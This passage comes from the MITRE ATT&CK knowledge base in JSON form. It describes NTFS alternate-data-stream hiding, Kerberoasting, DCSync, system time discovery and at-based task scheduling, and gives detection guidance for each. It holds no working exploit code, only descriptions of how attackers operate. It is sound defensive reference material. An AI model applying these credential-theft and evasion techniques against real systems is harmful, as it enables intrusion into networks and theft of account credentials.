in files. This may be done to evade some defenses, such as static indicator scanning tools and anti-virus. (Citation: Journey into IR ZeroAccess NTFS EA) (Citation: MalwareBytes ADS July 2015)","kill_chain_phases":[{"kill_chain_name":"mitre-attack","phase_name":"defense-evasion"}],"x_mitre_contributors":["Oddvar Moe, @oddvarmoe","Red Canary"],"x_mitre_deprecated":false,"x_mitre_detection":"Forensic techniques exist to identify information stored in NTFS EA. (Citation: Journey into IR ZeroAccess NTFS EA) Monitor calls to the ZwSetEaFile and ZwQueryEaFile Windows API functions as well as binaries used to interact with EA, (Citation: Oddvar Moe ADS1 Jan 2018) (Citation: Oddvar Moe ADS2 Apr 2018) and consider regularly scanning for the presence of modified information. (Citation: SpectorOps Host-Based Jul 2017)\n\nThere are many ways to create and interact with ADSs using Windows utilities. Monitor for operations (execution, copies, etc.) with file names that contain colons. This syntax (ex: file.ext:ads[.ext]) is commonly associated with ADSs. (Citation: Microsoft ADS Mar 2014) (Citation: Oddvar Moe ADS1 Jan 2018) (Citation: Oddvar Moe ADS2 Apr 2018) For a more exhaustive list of utilities that can be used to execute and create ADSs, see https://gist.github.com/api0cradle/cdd2d0d0ec9abb686f0e89306e277b8f.\n\nThe Streams tool of Sysinternals can be used to uncover files with ADSs. The dir /r command can also be used to display ADSs. (Citation: Symantec ADS May 2009) Many PowerShell commands (such as Get-Item, Set-Item, Remove-Item, and Get-ChildItem) can also accept a -stream parameter to interact with ADSs. (Citation: MalwareBytes ADS July 2015) (Citation: Microsoft ADS Mar 2014)","x_mitre_domains":["enterprise-attack"],"x_mitre_is_subtechnique":true,"x_mitre_platforms":["Windows"],"x_mitre_version":"1.1","x_mitre_data_sources":["Command: Command Execution","File: File Modification","Process: Process Creation","File: File Metadata","Process: OS API Execution"],"x_mitre_defense_bypassed":["Anti-virus","Host forensic analysis","Signature-based detection"],"x_mitre_system_requirements":["NTFS partitioned hard drive"],"type":"attack-pattern","id":"attack-pattern--f2857333-11d4-45bf-b064-2c28d8525be5","created":"2020-03-13T20:33:00.009Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","revoked":false,"external_references":[{"source_name":"mitre-attack","url":"https://attack.mitre.org/techniques/T1564/004","external_id":"T1564.004"},{"source_name":"MalwareBytes ADS July 2015","description":"Arntz, P. (2015, July 22). Introduction to Alternate Data Streams. Retrieved March 21, 2018.","url":"https://blog.malwarebytes.com/101/2015/07/introduction-to-alternate-data-streams/"},{"source_name":"SpectorOps Host-Based Jul 2017","description":"Atkinson, J. (2017, July 18). Host-based Threat Modeling & Indicator Design. Retrieved March 21, 2018.","url":"https://posts.specterops.io/host-based-threat-modeling-indicator-design-a9dbbb53d5ea"},{"source_name":"Journey into IR ZeroAccess NTFS EA","description":"Harrell, C. (2012, December 11). Extracting ZeroAccess from NTFS Extended Attributes. Retrieved June 3, 2016.","url":"http://journeyintoir.blogspot.com/2012/12/extracting-zeroaccess-from-ntfs.html"},{"source_name":"Microsoft NTFS File Attributes Aug 2010","description":"Hughes, J. (2010, August 25). NTFS File Attributes. Retrieved March 21, 2018.","url":"https://blogs.technet.microsoft.com/askcore/2010/08/25/ntfs-file-attributes/"},{"source_name":"Microsoft ADS Mar 2014","description":"Marlin, J. (2013, March 24). Alternate Data Streams in NTFS. Retrieved March 21, 2018.","url":"https://blogs.technet.microsoft.com/askcore/2013/03/24/alternate-data-streams-in-ntfs/"},{"source_name":"Microsoft File Streams","description":"Microsoft. (n.d.). File Streams. Retrieved September 12, 2024.","url":"https://learn.microsoft.com/en-us/windows/win32/fileio/file-streams"},{"source_name":"Oddvar Moe ADS2 Apr 2018","description":"Moe, O. (2018, April 11). Putting Data in Alternate Data Streams and How to Execute It - Part 2. Retrieved June 30, 2018.","url":"https://oddvar.moe/2018/04/11/putting-data-in-alternate-data-streams-and-how-to-execute-it-part-2/"},{"source_name":"Oddvar Moe ADS1 Jan 2018","description":"Moe, O. (2018, January 14). Putting Data in Alternate Data Streams and How to Execute It. Retrieved June 30, 2018.","url":"https://oddvar.moe/2018/01/14/putting-data-in-alternate-data-streams-and-how-to-execute-it/"},{"source_name":"Symantec ADS May 2009","description":"Pravs. (2009, May 25). What you need to know about alternate data streams in windows? Is your Data secure? Can you restore that?. Retrieved March 21, 2018.","url":"https://www.symantec.com/connect/articles/what-you-need-know-about-alternate-data-streams-windows-your-data-secure-can-you-restore"}],"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"x_mitre_attack_spec_version":"3.2.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"modified":"2024-09-23T22:20:10.994Z","name":"Kerberoasting","description":"Adversaries may abuse a valid Kerberos ticket-granting ticket (TGT) or sniff network traffic to obtain a ticket-granting service (TGS) ticket that may be vulnerable to [Brute Force](https://attack.mitre.org/techniques/T1110).(Citation: Empire InvokeKerberoast Oct 2016)(Citation: AdSecurity Cracking Kerberos Dec 2015) \n\nService principal names (SPNs) are used to uniquely identify each instance of a Windows service. To enable authentication, Kerberos requires that SPNs be associated with at least one service logon account (an account specifically tasked with running a service(Citation: Microsoft Detecting Kerberoasting Feb 2018)).(Citation: Microsoft SPN)(Citation: Microsoft SetSPN)(Citation: SANS Attacking Kerberos Nov 2014)(Citation: Harmj0y Kerberoast Nov 2016)\n\nAdversaries possessing a valid Kerberos ticket-granting ticket (TGT) may request one or more Kerberos ticket-granting service (TGS) service tickets for any SPN from a domain controller (DC).(Citation: Empire InvokeKerberoast Oct 2016)(Citation: AdSecurity Cracking Kerberos Dec 2015) Portions of these tickets may be encrypted with the RC4 algorithm, meaning the Kerberos 5 TGS-REP etype 23 hash of the service account associated with the SPN is used as the private key and is thus vulnerable to offline [Brute Force](https://attack.mitre.org/techniques/T1110) attacks that may expose plaintext credentials.(Citation: AdSecurity Cracking Kerberos Dec 2015)(Citation: Empire InvokeKerberoast Oct 2016) (Citation: Harmj0y Kerberoast Nov 2016)\n\nThis same behavior could be executed using service tickets captured from network traffic.(Citation: AdSecurity Cracking Kerberos Dec 2015)\n\nCracked hashes may enable [Persistence](https://attack.mitre.org/tactics/TA0003), [Privilege Escalation](https://attack.mitre.org/tactics/TA0004), and [Lateral Movement](https://attack.mitre.org/tactics/TA0008) via access to [Valid Accounts](https://attack.mitre.org/techniques/T1078).(Citation: SANS Attacking Kerberos Nov 2014)","kill_chain_phases":[{"kill_chain_name":"mitre-attack","phase_name":"credential-access"}],"x_mitre_contributors":["Praetorian"],"x_mitre_deprecated":false,"x_mitre_detection":"Enable Audit Kerberos Service Ticket Operations to log Kerberos TGS service ticket requests. Particularly investigate irregular patterns of activity (ex: accounts making numerous requests, Event ID 4769, within a small time frame, especially if they also request RC4 encryption [Type 0x17]).(Citation: Microsoft Detecting Kerberoasting Feb 2018)(Citation: AdSecurity Cracking Kerberos Dec 2015)","x_mitre_domains":["enterprise-attack"],"x_mitre_is_subtechnique":true,"x_mitre_platforms":["Windows"],"x_mitre_version":"1.2","x_mitre_data_sources":["Active Directory: Active Directory Credential Request"],"x_mitre_system_requirements":["Valid domain account or the ability to sniff traffic within a domain"],"type":"attack-pattern","id":"attack-pattern--f2877f7f-9a4c-4251-879f-1224e3006bee","created":"2020-02-11T18:43:38.588Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","revoked":false,"external_references":[{"source_name":"mitre-attack","url":"https://attack.mitre.org/techniques/T1558/003","external_id":"T1558.003"},{"source_name":"Microsoft Detecting Kerberoasting Feb 2018","description":"Bani, M. (2018, February 23). Detecting Kerberoasting activity using Azure Security Center. Retrieved March 23, 2018.","url":"https://blogs.technet.microsoft.com/motiba/2018/02/23/detecting-kerberoasting-activity-using-azure-security-center/"},{"source_name":"Empire InvokeKerberoast Oct 2016","description":"EmpireProject. (2016, October 31). Invoke-Kerberoast.ps1. Retrieved March 22, 2018.","url":"https://github.com/EmpireProject/Empire/blob/master/data/module_source/credentials/Invoke-Kerberoast.ps1"},{"source_name":"SANS Attacking Kerberos Nov 2014","description":"Medin, T. (2014, November). Attacking Kerberos - Kicking the Guard Dog of Hades. Retrieved March 22, 2018.","url":"https://redsiege.com/kerberoast-slides"},{"source_name":"AdSecurity Cracking Kerberos Dec 2015","description":"Metcalf, S. (2015, December 31). Cracking Kerberos TGS Tickets Using Kerberoast – Exploiting Kerberos to Compromise the Active Directory Domain. Retrieved March 22, 2018.","url":"https://adsecurity.org/?p=2293"},{"source_name":"Microsoft SetSPN","description":"Microsoft. (2010, April 13). Service Principal Names (SPNs) SetSPN Syntax (Setspn.exe). Retrieved March 22, 2018.","url":"https://social.technet.microsoft.com/wiki/contents/articles/717.service-principal-names-spns-setspn-syntax-setspn-exe.aspx"},{"source_name":"Microsoft SPN","description":"Microsoft. (n.d.). Service Principal Names. Retrieved March 22, 2018.","url":"https://msdn.microsoft.com/library/ms677949.aspx"},{"source_name":"Harmj0y Kerberoast Nov 2016","description":"Schroeder, W. (2016, November 1). Kerberoasting Without Mimikatz. Retrieved September 23, 2024.","url":"https://blog.harmj0y.net/powershell/kerberoasting-without-mimikatz/"}],"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"x_mitre_attack_spec_version":"3.2.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"x_mitre_platforms":["Windows"],"x_mitre_domains":["enterprise-attack"],"x_mitre_contributors":["Red Canary","Oddvar Moe, @oddvarmoe"],"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"attack-pattern--f2d44246-91f1-478a-b6c8-1227e0ca109d","type":"attack-pattern","created":"2017-05-31T21:31:11.147Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","revoked":true,"external_references":[{"source_name":"mitre-attack","external_id":"T1096","url":"https://attack.mitre.org/techniques/T1096"},{"url":"https://posts.specterops.io/host-based-threat-modeling-indicator-design-a9dbbb53d5ea","description":"Atkinson, J. (2017, July 18). Host-based Threat Modeling & Indicator Design. Retrieved March 21, 2018.","source_name":"SpectorOps Host-Based Jul 2017"},{"url":"https://blogs.technet.microsoft.com/askcore/2010/08/25/ntfs-file-attributes/","description":"Hughes, J. (2010, August 25). NTFS File Attributes. Retrieved March 21, 2018.","source_name":"Microsoft NTFS File Attributes Aug 2010"},{"url":"http://msdn.microsoft.com/en-us/library/aa364404","description":"Microsoft. (n.d.). File Streams. Retrieved December 2, 2014.","source_name":"Microsoft File Streams"},{"url":"https://blog.malwarebytes.com/101/2015/07/introduction-to-alternate-data-streams/","description":"Arntz, P. (2015, July 22). Introduction to Alternate Data Streams. Retrieved March 21, 2018.","source_name":"MalwareBytes ADS July 2015"},{"url":"https://blogs.technet.microsoft.com/askcore/2013/03/24/alternate-data-streams-in-ntfs/","description":"Marlin, J. (2013, March 24). Alternate Data Streams in NTFS. Retrieved March 21, 2018.","source_name":"Microsoft ADS Mar 2014"},{"url":"http://journeyintoir.blogspot.com/2012/12/extracting-zeroaccess-from-ntfs.html","description":"Harrell, C. (2012, December 11). Extracting ZeroAccess from NTFS Extended Attributes. Retrieved June 3, 2016.","source_name":"Journey into IR ZeroAccess NTFS EA"},{"url":"https://oddvar.moe/2018/01/14/putting-data-in-alternate-data-streams-and-how-to-execute-it/","description":"Moe, O. (2018, January 14). Putting Data in Alternate Data Streams and How to Execute It. Retrieved June 30, 2018.","source_name":"Oddvar Moe ADS1 Jan 2018"},{"url":"https://oddvar.moe/2018/04/11/putting-data-in-alternate-data-streams-and-how-to-execute-it-part-2/","description":"Moe, O. (2018, April 11). Putting Data in Alternate Data Streams and How to Execute It - Part 2. Retrieved June 30, 2018.","source_name":"Oddvar Moe ADS2 Apr 2018"},{"url":"https://www.symantec.com/connect/articles/what-you-need-know-about-alternate-data-streams-windows-your-data-secure-can-you-restore","description":"Pravs. (2009, May 25). What you need to know about alternate data streams in windows? Is your Data secure? Can you restore that?. Retrieved March 21, 2018.","source_name":"Symantec ADS May 2009"}],"modified":"2020-03-13T21:04:13.284Z","name":"NTFS File Attributes","description":"Every New Technology File System (NTFS) formatted partition contains a Master File Table (MFT) that maintains a record for every file/directory on the partition. (Citation: SpectorOps Host-Based Jul 2017) Within MFT entries are file attributes, (Citation: Microsoft NTFS File Attributes Aug 2010) such as Extended Attributes (EA) and Data [known as Alternate Data Streams (ADSs) when more than one Data attribute is present], that can be used to store arbitrary data (and even complete files). (Citation: SpectorOps Host-Based Jul 2017) (Citation: Microsoft File Streams) (Citation: MalwareBytes ADS July 2015) (Citation: Microsoft ADS Mar 2014)\n\nAdversaries may store malicious data or binaries in file attribute metadata instead of directly in files. This may be done to evade some defenses, such as static indicator scanning tools and anti-virus. (Citation: Journey into IR ZeroAccess NTFS EA) (Citation: MalwareBytes ADS July 2015)","kill_chain_phases":[{"kill_chain_name":"mitre-attack","phase_name":"defense-evasion"}],"x_mitre_detection":"Forensic techniques exist to identify information stored in NTFS EA. (Citation: Journey into IR ZeroAccess NTFS EA) Monitor calls to the ZwSetEaFile and ZwQueryEaFile Windows API functions as well as binaries used to interact with EA, (Citation: Oddvar Moe ADS1 Jan 2018) (Citation: Oddvar Moe ADS2 Apr 2018) and consider regularly scanning for the presence of modified information. (Citation: SpectorOps Host-Based Jul 2017)\n\nThere are many ways to create and interact with ADSs using Windows utilities. Monitor for operations (execution, copies, etc.) with file names that contain colons. This syntax (ex: file.ext:ads[.ext]) is commonly associated with ADSs. (Citation: Microsoft ADS Mar 2014) (Citation: Oddvar Moe ADS1 Jan 2018) (Citation: Oddvar Moe ADS2 Apr 2018) For a more exhaustive list of utilities that can be used to execute and create ADSs, see https://gist.github.com/api0cradle/cdd2d0d0ec9abb686f0e89306e277b8f.\n\nThe Streams tool of Sysinternals can be used to uncover files with ADSs. The dir /r command can also be used to display ADSs. (Citation: Symantec ADS May 2009) Many PowerShell commands (such as Get-Item, Set-Item, Remove-Item, and Get-ChildItem) can also accept a -stream parameter to interact with ADSs. (Citation: MalwareBytes ADS July 2015) (Citation: Microsoft ADS Mar 2014)","x_mitre_version":"1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","x_mitre_defense_bypassed":["Signature-based detection","Host forensic analysis","Anti-virus"],"x_mitre_system_requirements":["NTFS partitioned hard drive"],"x_mitre_is_subtechnique":false},{"modified":"2024-10-15T15:54:08.312Z","name":"DCSync","description":"Adversaries may attempt to access credentials and other sensitive information by abusing a Windows Domain Controller's application programming interface (API)(Citation: Microsoft DRSR Dec 2017) (Citation: Microsoft GetNCCChanges) (Citation: Samba DRSUAPI) (Citation: Wine API samlib.dll) to simulate the replication process from a remote domain controller using a technique called DCSync.\n\nMembers of the Administrators, Domain Admins, and Enterprise Admin groups or computer accounts on the domain controller are able to run DCSync to pull password data(Citation: ADSecurity Mimikatz DCSync) from Active Directory, which may include current and historical hashes of potentially useful accounts such as KRBTGT and Administrators. The hashes can then in turn be used to create a [Golden Ticket](https://attack.mitre.org/techniques/T1558/001) for use in [Pass the Ticket](https://attack.mitre.org/techniques/T1550/003)(Citation: Harmj0y Mimikatz and DCSync) or change an account's password as noted in [Account Manipulation](https://attack.mitre.org/techniques/T1098).(Citation: InsiderThreat ChangeNTLM July 2017)\n\nDCSync functionality has been included in the \"lsadump\" module in [Mimikatz](https://attack.mitre.org/software/S0002).(Citation: GitHub Mimikatz lsadump Module) Lsadump also includes NetSync, which performs DCSync over a legacy replication protocol.(Citation: Microsoft NRPC Dec 2017)","kill_chain_phases":[{"kill_chain_name":"mitre-attack","phase_name":"credential-access"}],"x_mitre_contributors":["ExtraHop","Vincent Le Toux"],"x_mitre_deprecated":false,"x_mitre_detection":"Monitor domain controller logs for replication requests and other unscheduled activity possibly associated with DCSync.(Citation: Microsoft DRSR Dec 2017) (Citation: Microsoft GetNCCChanges) (Citation: Samba DRSUAPI) Also monitor for network protocols(Citation: Microsoft DRSR Dec 2017) (Citation: Microsoft NRPC Dec 2017) and other replication requests(Citation: Microsoft SAMR) from IPs not associated with known domain controllers.(Citation: AdSecurity DCSync Sept 2015)\n\nNote: Domain controllers may not log replication requests originating from the default domain controller account.(Citation: Harmj0y DCSync Sept 2015)","x_mitre_domains":["enterprise-attack"],"x_mitre_is_subtechnique":true,"x_mitre_platforms":["Windows"],"x_mitre_version":"1.1","x_mitre_data_sources":["Active Directory: Active Directory Object Access","Network Traffic: Network Traffic Content","Network Traffic: Network Traffic Flow"],"type":"attack-pattern","id":"attack-pattern--f303a39a-6255-4b89-aecc-18c4d8ca7163","created":"2020-02-11T18:45:34.293Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","revoked":false,"external_references":[{"source_name":"mitre-attack","url":"https://attack.mitre.org/techniques/T1003/006","external_id":"T1003.006"},{"source_name":"GitHub Mimikatz lsadump Module","description":"Deply, B., Le Toux, V. (2016, June 5). module ~ lsadump. Retrieved August 7, 2017.","url":"https://github.com/gentilkiwi/mimikatz/wiki/module-~-lsadump"},{"source_name":"ADSecurity Mimikatz DCSync","description":"Metcalf, S. (2015, September 25). Mimikatz DCSync Usage, Exploitation, and Detection. Retrieved August 7, 2017.","url":"https://adsecurity.org/?p=1729"},{"source_name":"AdSecurity DCSync Sept 2015","description":"Metcalf, S. (2015, September 25). Mimikatz DCSync Usage, Exploitation, and Detection. Retrieved December 4, 2017.","url":"https://adsecurity.org/?p=1729"},{"source_name":"Microsoft DRSR Dec 2017","description":"Microsoft. (2017, December 1). MS-DRSR Directory Replication Service (DRS) Remote Protocol. Retrieved December 4, 2017.","url":"https://msdn.microsoft.com/library/cc228086.aspx"},{"source_name":"Microsoft NRPC Dec 2017","description":"Microsoft. (2017, December 1). MS-NRPC - Netlogon Remote Protocol. Retrieved December 6, 2017.","url":"https://msdn.microsoft.com/library/cc237008.aspx"},{"source_name":"Microsoft GetNCCChanges","description":"Microsoft. (n.d.). IDL_DRSGetNCChanges (Opnum 3). Retrieved December 4, 2017.","url":"https://msdn.microsoft.com/library/dd207691.aspx"},{"source_name":"Microsoft SAMR","description":"Microsoft. (n.d.). MS-SAMR Security Account Manager (SAM) Remote Protocol (Client-to-Server) - Transport. Retrieved December 4, 2017.","url":"https://msdn.microsoft.com/library/cc245496.aspx"},{"source_name":"Samba DRSUAPI","description":"SambaWiki. (n.d.). DRSUAPI. Retrieved December 4, 2017.","url":"https://wiki.samba.org/index.php/DRSUAPI"},{"source_name":"Harmj0y DCSync Sept 2015","description":"Schroeder, W. (2015, September 22). Mimikatz and DCSync and ExtraSids, Oh My. Retrieved December 4, 2017.","url":"http://www.harmj0y.net/blog/redteaming/mimikatz-and-dcsync-and-extrasids-oh-my/"},{"source_name":"Harmj0y Mimikatz and DCSync","description":"Schroeder, W. (2015, September 22). Mimikatz and DCSync and ExtraSids, Oh My. Retrieved September 23, 2024.","url":"https://blog.harmj0y.net/redteaming/mimikatz-and-dcsync-and-extrasids-oh-my/"},{"source_name":"InsiderThreat ChangeNTLM July 2017","description":"Warren, J. (2017, July 11). Manipulating User Passwords with Mimikatz. Retrieved December 4, 2017.","url":"https://blog.stealthbits.com/manipulating-user-passwords-with-mimikatz-SetNTLM-ChangeNTLM"},{"source_name":"Wine API samlib.dll","description":"Wine API. (n.d.). samlib.dll. Retrieved December 4, 2017.","url":"https://source.winehq.org/WineAPI/samlib.html"}],"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"x_mitre_attack_spec_version":"3.2.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"modified":"2024-04-16T12:50:15.929Z","name":"System Time Discovery","description":"An adversary may gather the system time and/or time zone settings from a local or remote system. The system time is set and stored by services, such as the Windows Time Service on Windows or systemsetup on macOS.(Citation: MSDN System Time)(Citation: Technet Windows Time Service)(Citation: systemsetup mac time) These time settings may also be synchronized between systems and services in an enterprise network, typically accomplished with a network time server within a domain.(Citation: Mac Time Sync)(Citation: linux system time)\n\nSystem time information may be gathered in a number of ways, such as with [Net](https://attack.mitre.org/software/S0039) on Windows by performing net time \\\\hostname to gather the system time on a remote system. The victim's time zone may also be inferred from the current system time or gathered by using w32tm /tz.(Citation: Technet Windows Time Service) In addition, adversaries can discover device uptime through functions such as GetTickCount() to determine how long it has been since the system booted up.(Citation: Virtualization/Sandbox Evasion)\n\nOn network devices, [Network Device CLI](https://attack.mitre.org/techniques/T1059/008) commands such as `show clock detail` can be used to see the current time configuration.(Citation: show_clock_detail_cisco_cmd)\n\nIn addition, system calls – such as time() – have been used to collect the current time on Linux devices.(Citation: MAGNET GOBLIN) On macOS systems, adversaries may use commands such as systemsetup -gettimezone or timeIntervalSinceNow to gather current time zone information or current date and time.(Citation: System Information Discovery Technique)(Citation: ESET DazzleSpy Jan 2022)\n\nThis information could be useful for performing other techniques, such as executing a file with a [Scheduled Task/Job](https://attack.mitre.org/techniques/T1053)(Citation: RSA EU12 They're Inside), or to discover locality information based on time zone to assist in victim targeting (i.e. [System Location Discovery](https://attack.mitre.org/techniques/T1614)). Adversaries may also use knowledge of system time as part of a time bomb, or delaying execution until a specified date/time.(Citation: AnyRun TimeBomb)","kill_chain_phases":[{"kill_chain_name":"mitre-attack","phase_name":"discovery"}],"x_mitre_contributors":["FIRST.ORG's Cyber Threat Intelligence SIG","Austin Clark, @c2defense"],"x_mitre_deprecated":false,"x_mitre_detection":"Command-line interface monitoring may be useful to detect instances of net.exe or other command-line utilities being used to gather system time or time zone. Methods of detecting API use for gathering this information are likely less useful due to how often they may be used by legitimate software.\n\nFor network infrastructure devices, collect AAA logging to monitor `show` commands being run by non-standard users from non-standard locations.","x_mitre_domains":["enterprise-attack"],"x_mitre_is_subtechnique":false,"x_mitre_platforms":["Windows","Network","Linux","macOS"],"x_mitre_version":"1.4","x_mitre_data_sources":["Process: OS API Execution","Command: Command Execution","Process: Process Creation"],"type":"attack-pattern","id":"attack-pattern--f3c544dc-673c-4ef3-accb-53229f1ae077","created":"2017-05-31T21:31:37.450Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","revoked":false,"external_references":[{"source_name":"mitre-attack","url":"https://attack.mitre.org/techniques/T1124","external_id":"T1124"},{"source_name":"systemsetup mac time","description":"Apple Support. (n.d.). About systemsetup in Remote Desktop. Retrieved March 27, 2024.","url":"https://support.apple.com/en-gb/guide/remote-desktop/apd95406b8d/mac"},{"source_name":"linux system time","description":"ArchLinux. (2024, February 1). System Time. Retrieved March 27, 2024.","url":"https://wiki.archlinux.org/title/System_time"},{"source_name":"MAGNET GOBLIN","description":"Check Point Research. (2024, March 8). MAGNET GOBLIN TARGETS PUBLICLY FACING SERVERS USING 1-DAY VULNERABILITIES. Retrieved March 27, 2024.","url":"https://research.checkpoint.com/2024/magnet-goblin-targets-publicly-facing-servers-using-1-day-vulnerabilities/"},{"source_name":"show_clock_detail_cisco_cmd","description":"Cisco. (2023, March 6). show clock detail - Cisco IOS Security Command Reference: Commands S to Z . Retrieved July 13, 2022.","url":"https://www.cisco.com/c/en/us/td/docs/ios-xml/ios/security/s1/sec-s1-cr-book/sec-cr-s2.html#wp1896741674"},{"source_name":"Mac Time Sync","description":"Cone, Matt. (2021, January 14). Synchronize your Mac's Clock with a Time Server. Retrieved March 27, 2024.","url":"https://www.macinstruct.com/tutorials/synchronize-your-macs-clock-with-a-time-server/"},{"source_name":"ESET DazzleSpy Jan 2022","description":"M.Léveillé, M., Cherepanov, A.. (2022, January 25). Watering hole deploys new macOS malware, DazzleSpy, in Asia. Retrieved May 6, 2022.","url":"https://www.welivesecurity.com/2022/01/25/watering-hole-deploys-new-macos-malware-dazzlespy-asia/"},{"source_name":"AnyRun TimeBomb","description":"Malicious History. (2020, September 17). Time Bombs: Malware With Delayed Execution. Retrieved April 22, 2021.","url":"https://any.run/cybersecurity-blog/time-bombs-malware-with-delayed-execution/"},{"source_name":"Technet Windows Time Service","description":"Mathers, B. (2016, September 30). Windows Time Service Tools and Settings. Retrieved November 25, 2016.","url":"https://technet.microsoft.com/windows-server-docs/identity/ad-ds/get-started/windows-time-service/windows-time-service-tools-and-settings"},{"source_name":"MSDN System Time","description":"Microsoft. (n.d.). System Time. Retrieved November 25, 2016.","url":"https://msdn.microsoft.com/ms724961.aspx"},{"source_name":"RSA EU12 They're Inside","description":"Rivner, U., Schwartz, E. (2012). They’re Inside… Now What?. Retrieved November 25, 2016.","url":"https://www.rsaconference.com/writable/presentations/file_upload/ht-209_rivner_schwartz.pdf"},{"source_name":"System Information Discovery Technique","description":"YUCEEL, Huseyin Can. Picus Labs. (2022, June 9). The System Information Discovery Technique Explained - MITRE ATT&CK T1082. Retrieved March 27, 2024.","url":"https://www.picussecurity.com/resource/the-system-information-discovery-technique-explained-mitre-attack-t1082"},{"source_name":"Virtualization/Sandbox Evasion","description":"YUCEEL, Huseyin Can. Picus Labs. (2022, June 9). Virtualization/Sandbox Evasion - How Attackers Avoid Malware Analysis. Retrieved December 26, 2023.","url":"https://www.picussecurity.com/resource/virtualization/sandbox-evasion-how-attackers-avoid-malware-analysis"}],"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"x_mitre_attack_spec_version":"3.2.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"modified":"2024-10-12T15:53:12.333Z","name":"At","description":"Adversaries may abuse the [at](https://attack.mitre.org/software/S0110) utility to perform task scheduling for initial or recurring execution of malicious code. The [at](https://attack.mitre.org/software/S0110) utility exists as an executable within Windows, Linux, and macOS for scheduling tasks at a specified time and date. Although deprecated in favor of [Scheduled Task](https://attack.mitre.org/techniques/T1053/005)'s [schtasks](https://attack.mitre.org/software/S0111) in Windows environments, using [at](https://attack.mitre.org/software/S0110) requires that the Task Scheduler service be running, and the user to be logged on as a member of the local Administrators group. In addition to explicitly running the `at` command, adversaries may also schedule a task with [at](https://attack.mitre.org/software/S0110) by directly leveraging the [Windows Management Instrumentation](https://attack.mitre.org/techniques/T1047) `Win32_ScheduledJob` WMI class.(Citation: Malicious Life by Cybereason)\n\nOn Linux and macOS, [at](https://attack.mitre.org/software/S0110) may be invoked by the superuser as well as any users added to the at.allow file. If the at.allow file does not exist, the at.deny file is checked. Every username not listed in at.deny is allowed to invoke [at](https://attack.mitre.org/software/S0110). If the at.deny exists and is empty, global use of [at](https://attack.mitre.org/software/S0110) is permitted. If neither file exists (which is often the baseline) only the superuser is allowed to use [at](https://attack.mitre.org/software/S0110).(Citation: Linux at)\n\nAdversaries may use [at](https://attack.mitre.org/software/S0110) to execute programs at system startup or on a scheduled basis for [Persistence](https://attack.mitre.org/tactics/TA0003). [at](https://attack.mitre.org/software/S0110) can also be abused to conduct remote [Execution](https://attack.mitre.org/tactics/TA0002) as part of [Lateral Movement](https://attack.mitre.org/tactics/TA0008) and/or to run a process under the context of a specified account (such as SYSTEM).\n\nIn Linux environments, adversaries may also abuse [at](https://attack.mitre.org/software/S0110) to break out of restricted environments by using a task to spawn an interactive system shell or to run system commands. Similarly, [at](https://attack.mitre.org/software/S0110) may also be used for [Privilege Escalation](https://attack.mitre.org/tactics/TA0004) if the binary is allowed to run as superuser via sudo.(Citation: GTFObins at)","kill_chain_phases":[{"kill_chain_name":"mitre-attack","phase_name":"execution"},{"kill_chain_name":"mitre-attack","phase_name":"persistence"},{"kill_chain_name":"mitre-attack","phase_name":"privilege-escalation"}],"x_mitre_deprecated":false,"x_mitre_detection":"Monitor process execution from the svchost.exe in Windows 10 and the Windows Task Scheduler taskeng.exe for older versions of Windows. (Citation: Twitter Leoloobeek Scheduled Task) If scheduled tasks are not used for persistence, then the adversary is likely to remove the task when the action is complete. Monitor Windows Task Scheduler stores in %systemroot%\\System32\\Tasks for change entries related to scheduled tasks that do not correlate with known software, patch cycles, etc.\n\nConfigure event logging for scheduled task creation and changes by enabling the \"Microsoft-Windows-TaskScheduler/Operational\" setting within the event logging service. (Citation: TechNet Forum Scheduled Task Operational Setting) Several events will then be logged on scheduled task activity, including: (Citation: TechNet Scheduled Task Events)(Citation: Microsoft Scheduled Task Events Win10)\n\n* Event ID 106 on Windows 7, Server 2008 R2 - Scheduled task registered\n* Event ID 140 on Windows 7, Server 2008 R2 / 4702 on Windows 10, Server 2016 - Scheduled task updated\n* Event ID 141 on Windows 7, Server 2008 R2 / 4699 on Windows 10, Server 2016 - Scheduled task deleted\n* Event ID 4698 on Windows 10, Server 2016 - Scheduled task created\n* Event ID 4700 on Windows 10, Server 2016 - Scheduled task enabled\n* Event ID 4701 on Windows 10, Server 2016 - Scheduled task disabled\n\nTools such as Sysinternals Autoruns may also be used to detect system changes that could be attempts at persistence, including listing current scheduled tasks. (Citation: TechNet Autoruns)\n\nRemote access tools with built-in features may interact directly with the Windows API to perform these functions outside of typical system utilities. Tasks may also be created through Windows system management tools such as [Windows Management Instrumentation](https://attack.mitre.org/techniques/T1047) and [PowerShell](https://attack.mitre.org/techniques/T1059/001), so additional logging may need to be configured to gather the appropriate data.\n\nIn Linux and macOS environments, monitor scheduled task creation using command-line invocation. Legitimate scheduled tasks may be created during installation of new software or through system administration functions. Look for changes to tasks that do not correlate with known software, patch cycles, etc. \n\nReview all jobs using the atq command and ensure IP addresses stored in the SSH_CONNECTION and SSH_CLIENT variables, machines that created the jobs, are trusted hosts. All [at](https://attack.mitre.org/software/S0110) jobs are stored in /var/spool/cron/atjobs/.(Citation: rowland linux at 2019)\n\nSuspicious program execution through scheduled tasks may show up as outlier processes that have not been seen before when compared against historical data. Data and events should not be viewed in isolation, but as part of a chain of behavior that could lead to other activities, such as network connections made for [Command and Control](https://attack.mitre.org/tactics/TA0011), learning details about the environment 